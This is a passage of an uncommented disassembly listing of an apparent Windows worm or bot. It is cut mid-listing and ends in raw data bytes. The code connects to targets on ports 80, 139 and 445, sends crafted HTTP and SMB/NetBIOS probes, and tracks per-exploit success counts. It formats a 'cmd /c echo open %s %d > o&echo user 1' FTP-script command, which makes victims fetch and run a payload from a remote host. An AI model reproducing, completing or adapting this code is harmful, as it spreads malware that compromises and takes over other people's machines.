loc_40CEBC ; --------------------------------------------------------------------------- loc_40CEAC: ; CODE XREF: sub_40CE41+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB66C loc_40CEBC: ; CODE XREF: sub_40CE41+69j pop edi pop esi leave retn sub_40CE41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEC0 proc near ; CODE XREF: sub_40CF05+81p ; sub_40CF05+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB650 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CB6A4 cmp eax, 4 jz short loc_40CEEA xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEEA: ; CODE XREF: sub_40CEC0+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CB6A4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF05 proc near ; CODE XREF: sub_40CFDF+48p ; ___:0040D453p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2E xor al, al jmp loc_40CFDA ; --------------------------------------------------------------------------- loc_40CF2E: ; CODE XREF: sub_40CF05+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_4323D4 push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_432404 push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CE36C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_43234C push ebx call sub_40CEC0 add esp, 48h test al, al jnz short loc_40CF96 loc_40CF92: ; CODE XREF: sub_40CF05+B5j xor bl, bl jmp short loc_40CFD1 ; --------------------------------------------------------------------------- loc_40CF96: ; CODE XREF: sub_40CF05+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE41 push [ebp+var_4] push esi push ebx call sub_40CEC0 add esp, 1Ch test al, al jz short loc_40CF92 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE41 add esp, 10h mov bl, 1 loc_40CFD1: ; CODE XREF: sub_40CF05+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFDA: ; CODE XREF: sub_40CF05+24j pop edi pop esi pop ebx leave retn sub_40CF05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDF proc near ; CODE XREF: ___:0040D439p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432410 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D01A push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE41 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D01A cmp [ebp+var_20], 82h jz short loc_40D01E loc_40D01A: ; CODE XREF: sub_40CFDF+1Bj ; sub_40CFDF+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01E: ; CODE XREF: sub_40CFDF+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF05 add esp, 0Ch leave retn sub_40CFDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D031 proc near ; CODE XREF: sub_40D07D+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427688 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427680 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D031 endp ; =============== S U B R O U T I N E ======================================= sub_40D07D proc near ; CODE XREF: sub_40D21F+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B4 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D031 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BF push edi push eax lea ecx, [ebp-38h] call sub_40D62F loc_40D0BF: ; CODE XREF: sub_40D07D+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DC mov ebx, [ebp+10h] loc_40D0CE: ; CODE XREF: sub_40D07D+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D8 push 3 jmp short loc_40D0EA ; --------------------------------------------------------------------------- loc_40D0D8: ; CODE XREF: sub_40D07D+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E2 push 2 jmp short loc_40D0EA ; --------------------------------------------------------------------------- loc_40D0E2: ; CODE XREF: sub_40D07D+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EB push 1 loc_40D0EA: ; CODE XREF: sub_40D07D+59j ; sub_40D07D+63j pop ebx loc_40D0EB: ; CODE XREF: sub_40D07D+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427698 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D12A mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D12A: ; CODE XREF: sub_40D07D+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D198 add [ebp-18h], eax loc_40D17C: ; CODE XREF: sub_40D07D+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_43245C[eax] push eax push 1 call sub_40D4B1 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17C loc_40D198: ; CODE XREF: sub_40D07D+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B6 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D50A mov [ebp-18h], edi loc_40D1B6: ; CODE XREF: sub_40D07D+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1D0 sub esi, [ebp-1Ch] loc_40D1C1: ; CODE XREF: sub_40D07D+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B1 dec esi jnz short loc_40D1C1 loc_40D1D0: ; CODE XREF: sub_40D07D+13Fj cmp [ebp+10h], edi ja loc_40D0CE push 1 pop ebx loc_40D1DC: ; CODE XREF: sub_40D07D+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B4 push dword_427690 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D561 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B4 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07D endp ; =============== S U B R O U T I N E ======================================= sub_40D21F proc near ; CODE XREF: ___:0040D41Cp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D808 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07D mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D269 xor bl, bl jmp short loc_40D2AD ; --------------------------------------------------------------------------- loc_40D269: ; CODE XREF: sub_40D21F+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A0 cmp ecx, ebx jnz short loc_40D277 mov ecx, eax loc_40D277: ; CODE XREF: sub_40D21F+54j cmp [ebp+18h], ebx jz short loc_40D27F mov eax, [ebp+18h] loc_40D27F: ; CODE XREF: sub_40D21F+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CB6A4 cmp eax, esi jz short loc_40D2A4 xor bl, bl jmp short loc_40D2A6 ; --------------------------------------------------------------------------- loc_40D2A4: ; CODE XREF: sub_40D21F+7Fj mov bl, 1 loc_40D2A6: ; CODE XREF: sub_40D21F+83j push edi call sub_41B0B1 pop ecx loc_40D2AD: ; CODE XREF: sub_40D21F+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B4 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B4 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432608 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429110 push eax push eax movzx eax, word ptr dword_4CB390 push eax push dword ptr [ebp+8] call sub_40AC10 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4324A0 push eax call sub_40CADB xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D378 xor eax, eax jmp loc_40D4A4 ; --------------------------------------------------------------------------- loc_40D378: ; CODE XREF: ___:0040D36Fj mov [ebp-0Ch], esi loc_40D37B: ; CODE XREF: ___:0040D47Bj test esi, esi jnz loc_40D481 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D469 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB654 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CB694 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB5FC cmp eax, 0FFFFFFFFh jz loc_40D45E cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D426 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B4 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6F0 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21F add esp, 1Ch jmp short loc_40D45B ; --------------------------------------------------------------------------- loc_40D426: ; CODE XREF: ___:0040D3E4j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D440 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDF jmp short loc_40D458 ; --------------------------------------------------------------------------- loc_40D440: ; CODE XREF: ___:0040D430j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45E push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF05 loc_40D458: ; CODE XREF: ___:0040D43Ej add esp, 0Ch loc_40D45B: ; CODE XREF: ___:0040D424j movzx esi, al loc_40D45E: ; CODE XREF: ___:0040D3D7j ; ___:0040D44Aj push ebx call dword_4CB6EC test esi, esi jnz short loc_40D474 loc_40D469: ; CODE XREF: ___:0040D394j push 3E8h nop call near ptr 26A0F44h loc_40D474: ; CODE XREF: ___:0040D467j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37B loc_40D481: ; CODE XREF: ___:0040D37Dj lea ecx, [ebp-8] call sub_40C900 test esi, esi jz short loc_40D4A2 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431B08[eax] lea eax, dword_431B08[eax] loc_40D4A2: ; CODE XREF: ___:0040D48Bj mov eax, esi loc_40D4A4: ; CODE XREF: ___:0040D373j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A9: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B4 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B1 proc near ; CODE XREF: sub_40D07D+110p ; sub_40D07D+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CB call sub_42669A loc_40D4CB: ; CODE XREF: sub_40D4B1+13j test ebx, ebx jbe short loc_40D502 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62F test al, al jz short loc_40D502 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D502: ; CODE XREF: sub_40D4B1+1Cj ; sub_40D4B1+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B1 endp ; =============== S U B R O U T I N E ======================================= sub_40D50A proc near ; CODE XREF: sub_40D07D+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D524 call sub_42669A loc_40D524: ; CODE XREF: sub_40D50A+13j test ebx, ebx jbe short loc_40D559 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62F test al, al jz short loc_40D559 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D559: ; CODE XREF: sub_40D50A+1Cj ; sub_40D50A+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D50A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D561 proc near ; CODE XREF: sub_40D07D+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D579 call sub_426573 loc_40D579: ; CODE XREF: sub_40D561+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58B mov esi, [ebp+arg_8] loc_40D58B: ; CODE XREF: sub_40D561+25j cmp edi, ebx jnz short loc_40D5AD push dword_427690 add esi, ecx mov ecx, edi push esi call sub_40D725 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D725 jmp short loc_40D626 ; --------------------------------------------------------------------------- loc_40D5AD: ; CODE XREF: sub_40D561+2Cj test esi, esi jbe short loc_40D5F0 cmp esi, eax jnz short loc_40D5F0 mov eax, [ebx+4] test eax, eax jnz short loc_40D5C1 mov eax, offset dword_4276A0 loc_40D5C1: ; CODE XREF: sub_40D561+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5F0 push 1 mov ecx, edi call sub_40D6B4 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DC mov eax, offset dword_4276A0 loc_40D5DC: ; CODE XREF: sub_40D561+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D626 ; --------------------------------------------------------------------------- loc_40D5F0: ; CODE XREF: sub_40D561+4Ej ; sub_40D561+52j ... push 1 push esi mov ecx, edi call sub_40D62F test al, al jz short loc_40D626 mov eax, [ebx+4] test eax, eax jnz short loc_40D60A mov eax, offset dword_4276A0 loc_40D60A: ; CODE XREF: sub_40D561+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D626: ; CODE XREF: sub_40D561+4Aj ; sub_40D561+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D561 endp ; =============== S U B R O U T I N E ======================================= sub_40D62F proc near ; CODE XREF: sub_40D07D+3Dp ; sub_40D4B1+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D641 call sub_42669A loc_40D641: ; CODE XREF: sub_40D62F+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D66A mov al, [ecx-1] cmp al, dl jz short loc_40D66A cmp al, 0FFh jz short loc_40D66A cmp edi, edx jnz short loc_40D6A5 dec al push edx mov [ecx-1], al loc_40D65F: ; CODE XREF: sub_40D62F+47j mov ecx, esi call sub_40D6B4 loc_40D666: ; CODE XREF: sub_40D62F+4Bj ; sub_40D62F+52j xor al, al jmp short loc_40D6AF ; --------------------------------------------------------------------------- loc_40D66A: ; CODE XREF: sub_40D62F+19j ; sub_40D62F+20j ... cmp edi, edx jnz short loc_40D683 cmp [esp+8+arg_4], dl jz short loc_40D678 push 1 jmp short loc_40D65F ; --------------------------------------------------------------------------- loc_40D678: ; CODE XREF: sub_40D62F+43j cmp ecx, edx jz short loc_40D666 mov [esi+8], edx mov [ecx], dl jmp short loc_40D666 ; --------------------------------------------------------------------------- loc_40D683: ; CODE XREF: sub_40D62F+3Dj cmp [esp+8+arg_4], dl jz short loc_40D6A0 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D695 cmp eax, edi jnb short loc_40D6AD loc_40D695: ; CODE XREF: sub_40D62F+60j push 1 mov ecx, esi call sub_40D6B4 jmp short loc_40D6A5 ; --------------------------------------------------------------------------- loc_40D6A0: ; CODE XREF: sub_40D62F+58j cmp [esi+0Ch], edi jnb short loc_40D6AD loc_40D6A5: ; CODE XREF: sub_40D62F+28j ; sub_40D62F+6Fj push edi mov ecx, esi call sub_40D78C loc_40D6AD: ; CODE XREF: sub_40D62F+64j ; sub_40D62F+74j mov al, 1 loc_40D6AF: ; CODE XREF: sub_40D62F+39j pop edi pop esi retn 8 sub_40D62F endp ; =============== S U B R O U T I N E ======================================= sub_40D6B4 proc near ; CODE XREF: sub_40D07D+1Fp ; sub_40D07D+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6E0 mov eax, [esi+4] test eax, eax jz short loc_40D6E0 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D9 cmp al, 0FFh jz short loc_40D6D9 dec al mov [ecx], al jmp short loc_40D6E0 ; --------------------------------------------------------------------------- loc_40D6D9: ; CODE XREF: sub_40D6B4+19j ; sub_40D6B4+1Dj push ecx call sub_41CC83 pop ecx loc_40D6E0: ; CODE XREF: sub_40D6B4+8j ; sub_40D6B4+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B4 endp ; =============== S U B R O U T I N E ======================================= sub_40D6F0 proc near ; CODE XREF: ___:0040D410p ; sub_40D849+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62F test al, al jz short loc_40D71E push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71E: ; CODE XREF: sub_40D6F0+12j mov eax, esi pop edi pop esi retn 8 sub_40D6F0 endp ; =============== S U B R O U T I N E ======================================= sub_40D725 proc near ; CODE XREF: sub_40D561+39p ; sub_40D561+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D738 call sub_426573 loc_40D738: ; CODE XREF: sub_40D725+Cj mov ecx, edi call sub_40D849 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74E mov ebx, eax loc_40D74E: ; CODE XREF: sub_40D725+25j test ebx, ebx jbe short loc_40D784 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62F test al, al jz short loc_40D784 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D784: ; CODE XREF: sub_40D725+2Bj ; sub_40D725+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D725 endp ; =============== S U B R O U T I N E ======================================= sub_40D78C proc near ; CODE XREF: sub_40D62F+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B2 mov edi, [ebp+8] loc_40D7B2: ; CODE XREF: sub_40D78C+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BF xor eax, eax loc_40D7BF: ; CODE XREF: sub_40D78C+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7F0 ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7DA xor eax, eax loc_40D7DA: ; CODE XREF: sub_40D78C+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7EA retn ; --------------------------------------------------------------------------- loc_40D7EA: ; DATA XREF: sub_40D78C+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7F0: ; CODE XREF: sub_40D78C+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80E cmp eax, edi jbe short loc_40D7FD mov eax, edi loc_40D7FD: ; CODE XREF: sub_40D78C+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80E: ; CODE XREF: sub_40D78C+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B4 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82E mov edi, ebx loc_40D82E: ; CODE XREF: sub_40D78C+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78C endp ; =============== S U B R O U T I N E ======================================= sub_40D849 proc near ; CODE XREF: sub_40D725+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D876 mov al, [esi-1] test al, al jz short loc_40D876 cmp al, 0FFh jz short loc_40D876 push 1 call sub_40D6B4 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6F0 loc_40D876: ; CODE XREF: sub_40D849+9j ; sub_40D849+10j ... pop edi pop esi retn sub_40D849 endp ; =============== S U B R O U T I N E ======================================= sub_40D879 proc near ; DATA XREF: ___:00429008o test byte_4DBC74, 1 jnz short loc_40D889 or byte_4DBC74, 1 loc_40D889: ; CODE XREF: sub_40D879+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D879 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89B proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D8A0 proc near mov eax, dword_4328C0 add eax, 6 mov dword_4CE374, eax retn sub_40D8A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AE proc near ; CODE XREF: sub_40D8AE+D0p ; ___:0040DE0Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C2 or [ebp+arg_7], 1 jmp short loc_40D8C6 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D8AE+Cj and [ebp+arg_7], 0FEh loc_40D8C6: ; CODE XREF: sub_40D8AE+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8EA or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FC ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D8AE+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FC: ; CODE XREF: sub_40D8AE+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D995 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2720000h test eax, eax jz short loc_40D98C mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98C push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D988 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AE add esp, 2Ch jmp short loc_40D997 ; --------------------------------------------------------------------------- loc_40D988: ; CODE XREF: sub_40D8AE+B3j mov al, 1 jmp short loc_40D997 ; --------------------------------------------------------------------------- loc_40D98C: ; CODE XREF: sub_40D8AE+9Cj ; sub_40D8AE+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D995: ; CODE XREF: sub_40D8AE+61j xor al, al loc_40D997: ; CODE XREF: sub_40D8AE+D8j ; sub_40D8AE+DCj pop edi pop esi pop ebx leave retn sub_40D8AE endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 77h ; w db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0B8h ; ¸ db 0DBh ; Û db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0A7h ; § db 0F7h ; ÷ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 3Ch ; < db 29h ; ) db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 0A5h ; ¥ db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 0A6h ; ¦ db 0DBh ; Û db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 